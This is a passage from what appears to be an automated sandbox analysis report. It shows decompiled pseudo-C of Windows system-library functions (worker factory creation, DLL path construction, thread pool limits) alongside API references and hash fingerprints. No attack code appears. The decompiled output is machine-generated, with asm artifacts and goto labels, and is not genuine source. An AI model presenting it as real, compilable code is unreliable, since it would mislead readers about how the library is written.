						_t53 = _t181 + 0x24; // 0x24
						_push( *((intOrPtr*)(_t183 - 0x30)));
						_push( *((intOrPtr*)(_t183 - 0x38)));
						_push(_t129);
						_push(_t181);
						_push(0x6d26c740);
						_push(0xffffffff);
						_push( *((intOrPtr*)(_t181 + 0x28)));
						_push(0);
						_push(0xf00ff);
						_t178 = E6D28A160();
						 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
						if(_t178 < 0) {
							L23:
							 *((intOrPtr*)(_t183 - 4)) = 0;
							 *((intOrPtr*)(_t183 - 0x3c)) = 0;
							_t107 = E6D273B48(_t130, 0, _t178, _t181);
							goto L24;
						} else {
							if( *(_t183 - 0x2c) != 0) {
								_push(4);
								_push(_t183 - 0x2c);
								_push(0xd);
								_push( *((intOrPtr*)(_t181 + 0x24)));
								_t178 = E6D28AE70();
								 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
								if(_t178 < 0) {
									goto L23;
								}
								 *((short*)(_t181 + 0xe6)) =  *(_t183 - 0x2c);
							}
							 *((intOrPtr*)(_t181 + 0x2c)) = 0;
							 *((intOrPtr*)(_t181 + 0xe0)) = 0;
							 *((intOrPtr*)(_t181 + 0x110)) = 0;
							 *((short*)(_t181 + 0xe4)) = 0;
							_t63 = _t181 + 0x30; // 0x30
							_t133 = _t63;
							 *((intOrPtr*)(_t133 + 4)) = _t133;
							 *_t133 = _t133;
							_t65 = _t181 + 0x38; // 0x38
							_t134 = _t65;
							 *((intOrPtr*)(_t134 + 4)) = _t134;
							 *_t134 = _t134;
							_t67 = _t181 + 0x114; // 0x114
							_t135 = _t67;
							 *((intOrPtr*)(_t135 + 4)) = _t135;
							 *_t135 = _t135;
							E6D26F194(_t181, _t183 - 0x58, 0);
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
							 *((intOrPtr*)(_t181 + 0xf0)) =  *((intOrPtr*)(_t183 + 4));
							_t73 = _t181 + 0x40; // 0x40
							_t178 = E6D27196E(_t73, _t181);
							 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
							if(_t178 < 0) {
								goto L23;
							}
							_t178 = 0;
							 *((intOrPtr*)(_t183 - 0x1c)) = 0;
							E6D262280(_t130, 0x6d3386b4);
							 *((intOrPtr*)(_t183 - 4)) = 2;
							_t77 = _t181 + 0xe8; // 0xe8
							_t139 = _t77;
							_t176 =  *0x6d3353dc; // 0x6d3353d8
							if( *_t176 != 0x6d3353d8) {
								_push(3);
								asm("int 0x29");
								goto L32;
							}
							 *_t139 = 0x6d3353d8;
							 *((intOrPtr*)(_t139 + 4)) = _t176;
							 *_t176 = _t139;
							 *0x6d3353dc = _t139;
							 *((intOrPtr*)(_t183 - 4)) = 1;
							_t130 = E6D273B3D();
							goto L23;
						}
					}
				}
			}

0x6d2737eb
0x6d2737ed
0x6d2737f2
0x6d2737f7
0x6d2737fa
0x6d273803
0x6d273806
0x6d27380b
0x6d27380e
0x6d273817
0x6d27381e
0x6d2b615c
0x6d273b0c
0x6d273b13
0x6d273b13
0x6d273827
0x6d27382a
0x6d27382d
0x6d273836
0x6d27383e
0x6d2b6168
0x6d2b616e
0x6d2b616e
0x6d2b6168
0x6d273865
0x6d273867
0x6d27386a
0x6d27386d
0x6d273876
0x6d2b6176
0x6d2b6176
0x6d2b617b
0x00000000
0x6d27387c
0x6d273882
0x6d273888
0x6d2738a2
0x6d2738a4
0x6d2738a9
0x6d2b6183
0x6d2b6188
0x6d2b618b
0x6d273ad9
0x6d273ad9
0x6d273ae0
0x6d273ae7
0x6d273aee
0x00000000
0x00000000
0x6d273af3
0x6d273afc
0x6d2b6288
0x6d2b628d
0x6d2b6290
0x6d273b02
0x6d273b02
0x6d273b02
0x6d273b0a
0x6d273b71
0x6d273b73
0x6d273b73
0x00000000
0x6d273b0a
0x6d2738af
0x6d2738b1
0x6d2738b4
0x6d2738b7
0x6d2738bd
0x6d2738cd
0x6d2738d1
0x6d2738d2
0x6d2738d2
0x6d2738d7
0x6d2738d9
0x6d2738d9
0x6d2738e1
0x00000000
0x00000000
0x6d2738e6
0x6d2738e9
0x6d2738ec
0x6d2738ef
0x6d2738f1
0x6d2738f1
0x6d2738fa
0x6d273900
0x6d273916
0x6d27391b
0x6d27391e
0x6d273923
0x00000000
0x00000000
0x6d27392f
0x6d273935
0x6d27394d
0x6d273952
0x6d273955
0x6d27395a
0x00000000
0x00000000
0x6d273960
0x6d273965
0x6d273968
0x6d27396b
0x6d273978
0x6d27397a
0x6d27397f
0x00000000
0x00000000
0x6d273985
0x6d27398f
0x6d273992
0x6d273995
0x6d273998
0x6d27399b
0x6d27399e
0x6d2739a1
0x6d2739a4
0x6d2739ad
0x6d2b6195
0x6d2739b3
0x6d2739b3
0x6d2739b3
0x6d2739b4
0x6d2739b7
0x6d2739ba
0x6d2739bb
0x6d2739bc
0x6d2739c7
0x6d2739c9
0x6d2739ce
0x00000000
0x6d2739d4
0x6d2739d7
0x6d2739da
0x6d2739e2
0x6d2739ec
0x6d2739ee
0x6d2739ee
0x6d2739f0
0x6d2739f3
0x6d2739f6
0x6d2739f9
0x6d2739fa
0x6d2739fb
0x6d273a00
0x6d273a02
0x6d273a05
0x6d273a06
0x6d273a11
0x6d273a13
0x6d273a18
0x6d273aca
0x6d273aca
0x6d273acd
0x6d273ad4
0x00000000
0x6d273a1e
0x6d273a22
0x6d273b14
0x6d273b19
0x6d273b1a
0x6d273b1c
0x6d273b24
0x6d273b26
0x6d273b2b
0x00000000
0x00000000
0x6d273b31
0x6d273b31
0x6d273a28
0x6d273a2b
0x6d273a31
0x6d273a37
0x6d273a3e
0x6d273a3e
0x6d273a41
0x6d273a44
0x6d273a46
0x6d273a46
0x6d273a49
0x6d273a4c
0x6d273a4e
0x6d273a4e
0x6d273a54
0x6d273a57
0x6d273a5f
0x6d273a67
0x6d273a6a
0x6d273a70
0x6d273a7a
0x6d273a7c
0x6d273a81
0x00000000
0x00000000
0x6d273a83
0x6d273a85
0x6d273a8d
0x6d273a92
0x6d273a99
0x6d273a99
0x6d273a9f
0x6d273aac
0x6d273b6c
0x6d273b6f
0x00000000
0x6d273b6f
0x6d273ab2
0x6d273ab4
0x6d273ab7
0x6d273ab9
0x6d273abe
0x6d273ac5
0x00000000
0x6d273ac5
0x6d273a18
0x6d2739ce

APIs

RtlImageNtHeader.1105(?,6D31FF48,00000050,6D273E98,?,6D26F900,00000000,00000000,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D273817

Part of subcall function 6D25B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6D27381C,?,6D31FF48,00000050,6D273E98,?,6D26F900,00000000,00000000), ref: 6D25B076

RtlAllocateHeap.1105(?,?,00000120,?,6D31FF48,00000050,6D273E98,?,6D26F900,00000000,00000000,?,?,?,6D31FEB8,0000001C), ref: 6D273860
RtlAllocateHeap.1105(?,?,00000000,?,?,00000120,?,6D31FF48,00000050,6D273E98,?,6D26F900,00000000,00000000), ref: 6D27389D
RtlAllocateHeap.1105(?,?,?,?,?,00000000,?,?,00000120,?,6D31FF48,00000050,6D273E98,?,6D26F900,00000000), ref: 6D273916
RtlAllocateHeap.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6D31FF48,00000050,6D273E98), ref: 6D27394D
ZwCreateIoCompletion.1105(00000028,001F0003,00000000,?), ref: 6D2739C2
ZwCreateWorkerFactory.1105(00000024,000F00FF,00000000,?,000000FF,6D26C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6D273A0C
RtlAcquireSRWLockExclusive.1105(6D3386B4,00000000,00000024,000F00FF,00000000,?,000000FF,6D26C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6D273A8D
RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6D31FF48,00000050,6D273E98), ref: 6D273AF5
ZwSetInformationWorkerFactory.1105(?,0000000D,00000000,00000004,00000024,000F00FF,00000000,?,000000FF,6D26C740,00000000,7FFE03C0,?,?,00000028,001F0003), ref: 6D273B1F

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CreateFactoryHeaderImageWorker$AcquireCompletionCurrentExclusiveInformationLockServiceSession
String ID:
API String ID: 358453882-0
Opcode ID: b2bbf647da795ddfbaa12d15e6f2c9a92f882c0d77584b336d01c9ce8d1877a8
Instruction ID: af84906efb01d3f5cb429e75bfd1895227b9f3cb46b366b8525f6be2c8bb75e7
Opcode Fuzzy Hash: b2bbf647da795ddfbaa12d15e6f2c9a92f882c0d77584b336d01c9ce8d1877a8
Instruction Fuzzy Hash: 4FB147B1994649DFCB25CF99C980BAEBBF8FB49304F11816EE52AAB350D7349901CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D2CAE60, Relevance: 15.2, APIs: 5, Strings: 5, Instructions: 247
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6D2CAE60(signed short* _a4, short* _a8, short* _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				signed int _v24;
				unsigned int _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				signed int _v44;
				signed short* _t85;
				unsigned int _t86;
				signed short _t100;
				short* _t109;
				short _t111;
				signed int _t113;
				void* _t130;
				signed short _t132;
				signed int _t133;
				signed short _t135;
				short* _t144;
				signed int _t148;
				signed int _t150;
				int _t151;
				void* _t153;
				void* _t154;
				signed short _t155;
				signed int _t156;
				short* _t159;
				short* _t160;
				signed short* _t161;
				unsigned int _t167;
				signed int _t169;
				unsigned int _t170;
				void* _t172;
				signed short _t176;
				void* _t177;
				int _t178;
				int _t180;
				void* _t183;
				void* _t184;
				signed int _t186;
				void* _t187;
				void* _t188;

				_t85 = _a4;
				_t150 = 0;
				_v40 = 0;
				_t176 =  *_t85 & 0x0000ffff;
				_t155 = _t85[2];
				_t86 = _t176 & 0x0000ffff;
				_v16 = _t155;
				_v24 = 0;
				_v20 = _t176;
				_v12 = 0x5c;
				_v28 = 0x2f;
				_t170 = _t86;
				if(_t86 == 0) {
					L11:
					_v20 = 0;
					asm("sbb eax, eax");
					_v36 = ( ~_t150 & 0xfffffff8) + 8;
					_v8 = _t170 - (_v16 - _t155 & 0xfffffffe);
					_t172 =  *0x6d336e54;
					_v44 = 0;
					if(_t172 != 0) {
						_t156 =  *0x6d336e50 & 0x0000ffff;
						_t151 = 0;
						_v20 = _v12;
						if(_t156 == 0) {
							L32:
							_t167 = _v8;
							L33:
							_t100 = _v36 + 0xe + _t151 + _v20 + _t167 + 2;
							_v32 = _t100;
							if(_t100 > 0xfffe) {
								L22:
								return 0xc0000106;
							}
							_t177 = E6D263A1C(_t100 & 0x0000ffff);
							_v36 = _t177;
							if(_t177 != 0) {
								memcpy(_t177, _t172, _t151);
								_t188 = _t187 + 0xc;
								_t153 = _t177 + (_t151 >> 1) * 2;
								_t178 = _v20;
								if(_t178 != 0) {
									memcpy(_t153, L"\\microsoft.system.package.metadata\\Application", _t178);
									_t188 = _t188 + 0xc;
									_t153 = _t153 + (_t178 >> 1) * 2;
								}
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t180 = _v8;
								 *((short*)(_t153 + 0xc)) = _v12;
								_t154 = _t153 + 0xe;
								memcpy(_t154, _v16, _t180);
								_t109 = _t154 + (_t180 >> 1) * 2;
								if(_v24 != 0) {
									 *_t109 = 0;
								} else {
									asm("movsd");
									asm("movsd");
									asm("movsw");
								}
								_t159 = _a8;
								 *((intOrPtr*)(_t159 + 4)) = _v40;
								_t111 = _v44;
								 *((short*)(_t159 + 2)) = _t111;
								 *_t159 = _t111;
								if(_t111 != 0) {
									 *_t159 = _t111 + 0xfffffffe;
								}
								_t160 = _a12;
								_t82 =  &_v32; // 0x6d2d4109
								 *((intOrPtr*)(_t160 + 4)) = _v36;
								_t113 =  *_t82 & 0x0000ffff;
								 *(_t160 + 2) = _t113;
								 *_t160 = _t113 + 0xfffffffe;
								return 0;
							}
							L35:
							return 0xc0000017;
						}
						while( *((short*)(_t172 + (_t151 >> 1) * 2)) != 0x3b) {
							_t151 = _t151 + 2;
							if(_t151 < _t156) {
								continue;
							}
							goto L32;
						}
						goto L32;
					}
					_t151 =  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff;
					_t172 =  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c);
					_v32 = _t172;
					if(( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00000001) == 0) {
						_t172 = _t172 +  *((intOrPtr*)( *[fs:0x30] + 0x10));
						_v32 = _t172;
					}
					_t161 = _t172 + ((_t151 >> 1) - 1) * 2;
					_t130 = _t172;
					while(_t161 > _t172) {
						_t169 =  *_t161 & 0x0000ffff;
						if(_t169 == _v12 || _t169 == _v28) {
							_t130 =  &(_t161[1]);
							L21:
							_t132 = _t130 - _t172 & 0xfffffffe;
							if(_t132 <= 0xfffe) {
								_t133 = _t132 & 0x0000ffff;
								_v28 = _t133;
								if(_t176 > 0xfffc) {
									goto L22;
								}
								_t135 = _v36 + _t133 + _v8 + 2;
								if(_t135 > 0xfffe) {
									goto L22;
								}
								_v44 = _t135 & 0x0000ffff;
								_t183 = E6D263A1C(_t135 & 0x0000ffff);
								_v40 = _t183;
								if(_t183 == 0) {
									goto L35;
								}
								memcpy(_t183, _t172, _v28);
								_t184 = _t183 + (_v28 >> 1) * 2;
								memcpy(_t184, _v16, _v8);
								_t167 = _v8;
								_t187 = _t187 + 0x18;
								_t144 = _t184 + (_t167 >> 1) * 2;
								if(_v24 != 0) {
									 *_t144 = 0;
								} else {
									asm("movsd");
									asm("movsd");
									asm("movsw");
									_t52 =  &_v32; // 0x6d2d4109
									_t172 =  *_t52;
								}
								goto L33;
							}
							goto L22;
						} else {
							_t161 = _t161 - 2;
							continue;
						}
					}
					goto L21;
				}
				_t148 = _t155 + ((_t86 >> 1) - 1) * 2;
				if(_t148 <= _t155) {
					goto L11;
				} else {
					goto L2;
				}
				do {
					L2:
					_t186 =  *_t148 & 0x0000ffff;
					if(_t186 != 0x2e) {
						if(_t186 == _v12 || _t186 == _v28) {
							_v16 = _t148 + 2;
							L10:
							_t176 = _v20;
							goto L11;
						} else {
							goto L7;
						}
					} else {
						if(_t150 == 0) {
							_t150 = _t148;
							_v24 = _t150;
						}
					}
					L7:
					_t148 = _t148 - 2;
				} while (_t148 > _t155);
				goto L10;
			}

0x6d2cae68
0x6d2cae6f
0x6d2cae71
0x6d2cae74
0x6d2cae77
0x6d2cae7a
0x6d2cae7d
0x6d2cae80
0x6d2cae83
0x6d2cae86
0x6d2cae8d
0x6d2cae95
0x6d2cae9a
0x6d2caed7
0x6d2caed9
0x6d2caede
0x6d2caee6
0x6d2caef5
0x6d2caef8
0x6d2caefe
0x6d2caf03
0x6d2cb000
0x6d2cb007
0x6d2cb00c
0x6d2cb011
0x6d2cb025
0x6d2cb025
0x6d2cb028
0x6d2cb036
0x6d2cb038
0x6d2cb040
0x6d2caf73
0x00000000
0x6d2caf73
0x6d2cb04f
0x6d2cb051
0x6d2cb056
0x6d2cb065
0x6d2cb06c
0x6d2cb06f
0x6d2cb072
0x6d2cb077
0x6d2cb080
0x6d2cb085
0x6d2cb08a
0x6d2cb08a
0x6d2cb097
0x6d2cb098
0x6d2cb099
0x6d2cb09a
0x6d2cb0a1
0x6d2cb0a5
0x6d2cb0a9
0x6d2cb0b9
0x6d2cb0bc
0x6d2cb0cd
0x6d2cb0be
0x6d2cb0c5
0x6d2cb0c6
0x6d2cb0c7
0x6d2cb0c7
0x6d2cb0d0
0x6d2cb0d6
0x6d2cb0d9
0x6d2cb0dc
0x6d2cb0e0
0x6d2cb0e5
0x6d2cb0ea
0x6d2cb0ea
0x6d2cb0ed
0x6d2cb0f3
0x6d2cb0f6
0x6d2cb0f9
0x6d2cb0fc
0x6d2cb103
0x00000000
0x6d2cb106
0x6d2cb058
0x00000000
0x6d2cb058
0x6d2cb013
0x6d2cb01e
0x6d2cb023
0x00000000
0x00000000
0x00000000
0x6d2cb023
0x00000000
0x6d2cb013
0x6d2caf12
0x6d2caf1f
0x6d2caf28
0x6d2caf32
0x6d2caf3a
0x6d2caf3d
0x6d2caf3d
0x6d2caf45
0x6d2caf48
0x6d2caf5e
0x6d2caf4c
0x6d2caf53
0x6d2caf64
0x6d2caf67
0x6d2caf69
0x6d2caf71
0x6d2caf82
0x6d2caf85
0x6d2caf8b
0x00000000
0x00000000
0x6d2caf96
0x6d2caf9d
0x00000000
0x00000000
0x6d2cafa3
0x6d2cafab
0x6d2cafad
0x6d2cafb2
0x00000000
0x00000000
0x6d2cafbd
0x6d2cafcd
0x6d2cafd1
0x6d2cafd6
0x6d2cafd9
0x6d2cafe4
0x6d2cafe7
0x6d2caffb
0x6d2cafe9
0x6d2caff0
0x6d2caff1
0x6d2caff2
0x6d2caff4
0x6d2caff4
0x6d2caff4
0x00000000
0x6d2cafe7
0x00000000
0x6d2caf5b
0x6d2caf5b
0x00000000
0x6d2caf5b
0x6d2caf53
0x00000000
0x6d2caf62
0x6d2cae9f
0x6d2caea4
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2caea6
0x6d2caea6
0x6d2caea6
0x6d2caeac
0x6d2caebd
0x6d2caed1
0x6d2caed4
0x6d2caed4
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2caeae
0x6d2caeb0
0x6d2caeb2
0x6d2caeb4
0x6d2caeb4
0x6d2caeb0
0x6d2caec5
0x6d2caec5
0x6d2caec8
0x00000000

APIs

memcpy.1105(00000000,?,0000002F,?,?,00000000,?,?,?,?,6D2D4109), ref: 6D2CAFBD
memcpy.1105(00000000,00000000,?,00000000,?,0000002F,?,?,00000000,?,?,?,?,6D2D4109), ref: 6D2CAFD1
memcpy.1105(00000000,?,00000000,?,?,00000000,?,?,?,?,6D2D4109), ref: 6D2CB065
memcpy.1105(00000000,\microsoft.system.package.metadata\Application,?,?,00000000,?,?,?,?,6D2D4109), ref: 6D2CB080
memcpy.1105(-0000000E,00000000,?,?,00000000,?,?,?,?,6D2D4109), ref: 6D2CB0A9

Strings

.DLL, xrefs: 6D2CAFE9, 6D2CB0BE
A-m/, xrefs: 6D2CB0F3, 6D2CAFF4
.Local, xrefs: 6D2CB092
\, xrefs: 6D2CAE86
\microsoft.system.package.metadata\Application, xrefs: 6D2CB07A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: A-m/$.DLL$.Local$\$\microsoft.system.package.metadata\Application
API String ID: 3510742995-1714599539
Opcode ID: e403f5cc4927db549bb7bd668e469a8f8d46603ea15c127c4252069f58c82810
Instruction ID: 2af0076726e65756dab4b6ef213daf0af7405ac6df995db718553872a0018515
Opcode Fuzzy Hash: e403f5cc4927db549bb7bd668e469a8f8d46603ea15c127c4252069f58c82810
Instruction Fuzzy Hash: 09918C72D9061E9BCB51CFA8C880AAEB7B0FF49311F5542A9E820E7350E775DD05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6D26F86D, Relevance: 15.1, APIs: 10, Instructions: 124
threadmemoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6D26F86D(void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t31;
				signed int _t40;
				signed int _t45;
				signed int _t46;
				signed int _t48;
				signed int _t50;
				signed int _t53;
				intOrPtr _t60;
				signed int* _t66;
				signed int _t67;
				signed int* _t70;
				void* _t71;

				_t64 = __edx;
				_t61 = __ecx;
				_push(0x1c);
				_push(0x6d31feb8);
				E6D29D08C(__ebx, __edi, __esi);
				_t60 = __edx;
				 *((intOrPtr*)(_t71 - 0x28)) = __edx;
				_t70 = __ecx;
				 *((intOrPtr*)(_t71 - 0x2c)) = __ecx;
				_t66 =  *(_t71 + 8);
				if(_t66 == 0 || __ecx == 0 || __edx == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					E6D3188F5(_t60, _t61, _t64, _t66, _t70, __eflags);
					_t31 = 0xc000000d;
					goto L9;
				} else {
					if( *__ecx == 0) {
						L10:
						 *(_t71 - 0x20) =  *(_t71 - 0x20) & 0x00000000;
						_t67 = E6D273E70(_t71 - 0x20, 0);
						 *(_t71 - 0x24) = _t67;
						__eflags = _t67;
						if(_t67 < 0) {
							L24:
							_t31 = _t67;
							L9:
							return E6D29D0D1(_t31);
						}
						E6D262280(_t36, _t60);
						 *(_t71 - 4) = 1;
						__eflags =  *_t70;
						if( *_t70 != 0) {
							asm("lock inc dword [eax]");
							L21:
							 *(_t71 - 4) = 0xfffffffe;
							E6D26F9DD(_t60);
							_t40 =  *(_t71 - 0x20);
							__eflags = _t40;
							if(__eflags != 0) {
								_push(_t40);
								E6D249100(_t60, _t61, _t67, _t70, __eflags);
							}
							__eflags = _t67;
							if(_t67 >= 0) {
								 *( *(_t71 + 8)) =  *_t70;
							}
							goto L24;
						}
						__eflags = _t70 - 0x6d3386c0;
						if(_t70 != 0x6d3386c0) {
							__eflags = _t70 - 0x6d3386b8;
							if(_t70 != 0x6d3386b8) {
								L20:
								 *_t70 =  *(_t71 - 0x20);
								_t20 = _t71 - 0x20;
								 *_t20 =  *(_t71 - 0x20) & 0x00000000;
								__eflags =  *_t20;
								goto L21;
							}
							E6D275AA0(_t61,  *(_t71 - 0x20), 1);
							_t45 = E6D2495F0( *(_t71 - 0x20), 1);
							L27:
							_t67 = _t45;
							__eflags = _t67;
							 *(_t71 - 0x24) = _t67;
							if(_t67 >= 0) {
								goto L20;
							}
							goto L21;
						}
						_t46 =  *0x6d338754;
						__eflags = _t46;
						if(_t46 != 0) {
							E6D275AA0(_t61,  *(_t71 - 0x20), _t46);
						} else {
							_t50 =  *0x7ffe03c0 << 3;
							__eflags = _t50 - 0x300;
							if(_t50 < 0x300) {
								_t50 = 0x300;
							}
							E6D275AA0(0x300,  *(_t71 - 0x20), _t50);
							_t53 =  *0x7ffe03c0 << 2;
							_t61 = 0x180;
							__eflags = _t53 - 0x180;
							if(_t53 < 0x180) {
								_t53 = 0x180;
							}
							E6D285C70( *(_t71 - 0x20), _t53);
						}
						_t48 =  *0x6d338750;
						__eflags = _t48;
						if(_t48 != 0) {
							_t45 = E6D24B8F0( *(_t71 - 0x20), _t48);
							goto L27;
						} else {
							goto L20;
						}
					}
					 *((char*)(_t71 - 0x19)) = 0;
					E6D26FAD0(__edx);
					 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
					if( *_t70 != 0) {
						asm("lock inc dword [eax]");
						 *_t66 =  *_t70;
						 *((char*)(_t71 - 0x19)) = 1;
					}
					 *(_t71 - 4) = 0xfffffffe;
					E6D26F9D6(_t60);
					if( *((char*)(_t71 - 0x19)) == 0) {
						goto L10;
					} else {
						_t31 = 0;
						goto L9;
					}
				}
			}

0x6d26f86d
0x6d26f86d
0x6d26f86d
0x6d26f86f
0x6d26f874
0x6d26f879
0x6d26f87b
0x6d26f87e
0x6d26f880
0x6d26f883
0x6d26f888
0x6d2b47c9
0x6d2b47ce
0x00000000
0x6d26f8b1
0x6d26f8b4
0x6d26f8f1
0x6d26f8f1
0x6d26f900
0x6d26f902
0x6d26f905
0x6d26f907
0x6d26f9a9
0x6d26f9a9
0x6d26f8e9
0x6d26f8ee
0x6d26f8ee
0x6d26f90e
0x6d26f913
0x6d26f91c
0x6d26f91e
0x6d26f9e4
0x6d26f98b
0x6d26f98b
0x6d26f992
0x6d26f997
0x6d26f99a
0x6d26f99c
0x6d26f9e9
0x6d26f9ea
0x6d26f9ea
0x6d26f99e
0x6d26f9a0
0x6d26f9a7
0x6d26f9a7
0x00000000
0x6d26f9a0
0x6d26f924
0x6d26f92a
0x6d26f9b0
0x6d26f9b6
0x6d26f982
0x6d26f985
0x6d26f987
0x6d26f987
0x6d26f987
0x00000000
0x6d26f987
0x6d26f9be
0x6d26f9c6
0x6d26f9cb
0x6d26f9cb
0x6d26f9cd
0x6d26f9cf
0x6d26f9d2
0x00000000
0x00000000
0x00000000
0x6d26f9d4
0x6d26f930
0x6d26f935
0x6d26f937
0x6d2b47a3
0x6d26f93d
0x6d26f942
0x6d26f94a
0x6d26f94c
0x6d26f94e
0x6d26f94e
0x6d26f954
0x6d26f95e
0x6d26f961
0x6d26f966
0x6d26f968
0x6d26f96a
0x6d26f96a
0x6d26f970
0x6d26f970
0x6d26f975
0x6d26f97a
0x6d26f97c
0x6d2b47b1
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26f97c
0x6d26f8b6
0x6d26f8bb
0x6d26f8c0
0x6d26f8c8
0x6d26f8ca
0x6d26f8cf
0x6d26f8d1
0x6d26f8d1
0x6d26f8d5
0x6d26f8dc
0x6d26f8e5
0x00000000
0x6d26f8e7
0x6d26f8e7
0x00000000
0x6d26f8e7
0x6d26f8e5

APIs

RtlAcquireSRWLockShared.1105(?,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D26F8BB
TpAllocPool.1105(00000000,00000000,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D26F8FB
RtlAcquireSRWLockExclusive.1105(?,00000000,00000000,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D26F90E
TpSetPoolMaxThreads.1105(00000000,7FFE03C0,?,00000000,00000000,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D26F954
TpSetPoolMaxThreadsSoftLimit.1105(00000000,7FFE03C0,00000000,7FFE03C0,?,00000000,00000000,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D26F970
TpSetPoolMaxThreads.1105(00000000,00000001,?,00000000,00000000,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D26F9BE
TpSetPoolMinThreads.1105(00000000,00000001,00000000,00000001,?,00000000,00000000,?,?,?,6D31FEB8,0000001C,6D242C4C,?), ref: 6D26F9C6

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Pool$Threads$AcquireLock$AllocExclusiveLimitSharedSoft
String ID:
API String ID: 4196657934-0
Opcode ID: 12f243df0eca760c3d54ab452344c13b100edaed01756121ca2eb84905cda645
Instruction ID: ed08b3fbaa0747032d6102c3d9dc06999e70577c4e42fa1daf4c978d18842442
Opcode Fuzzy Hash: 12f243df0eca760c3d54ab452344c13b100edaed01756121ca2eb84905cda645
Instruction Fuzzy Hash: 9E41C371A9934EAFEF118FA8C880BAEB3B5BF49319F110429E550E7254D7748980CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6D2FDF1D, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 166
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D2FDF1D(char __ecx, void* __edx, intOrPtr _a4, short _a8) {
				WCHAR* _v5;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _t60;
				signed int _t62;
				signed int _t65;
				struct _EXCEPTION_RECORD _t67;
				signed int _t70;
				WCHAR* _t73;
				WCHAR* _t76;
				signed int _t77;
				signed int _t83;
				signed int _t84;
				WCHAR* _t88;
				WCHAR* _t92;
				intOrPtr _t94;
				signed int _t99;
				signed int _t101;
				signed int _t103;
				signed int _t107;
				void* _t108;
				WCHAR* _t110;
				WCHAR* _t111;
				WCHAR* _t112;
				WCHAR* _t114;
				void* _t115;
				void* _t118;

				_t60 = _a4;
				_t92 = 0;
				_v12 = __ecx;
				_t115 = 0;
				if(_t60 != 1) {
					__eflags = _t60 - 3;
					if(_t60 != 3) {
						__eflags = _t60 - 2;
						if(_t60 != 2) {
							L39:
							__eflags = 0;
							return 0;
						}
						_t62 = _a8;
						__eflags = _t62;
						if(_t62 < 0) {
							goto L39;
						}
						_t94 =  *((intOrPtr*)(__ecx + 0x14));
						_t107 = _t62;
						__eflags = _t107 - ( *(_t94 + 6) & 0x0000ffff);
						if(_t107 >= ( *(_t94 + 6) & 0x0000ffff)) {
							goto L39;
						}
						_t65 = _t107 * 0x1c +  *((intOrPtr*)(_t94 + 0xc));
						__eflags = __edx - _t65;
						L3:
						return _t65 & 0xffffff00 | _t118 == 0x00000000;
					}
					_t67 =  *(__edx + 6) & 0x0000ffff;
					_v16 = 0;
					__eflags = _t67;
					if(_t67 < 0) {
						__eflags =  *(__edx + 4);
						if( *(__edx + 4) == 0) {
							goto L39;
						}
						_t108 = 0x55;
						_t115 = E6D24F358(__ecx, _t108);
						__eflags = _t115;
						if(_t115 == 0) {
							goto L39;
						}
						_v16 = _t115;
						_v20 = 0xaa0000;
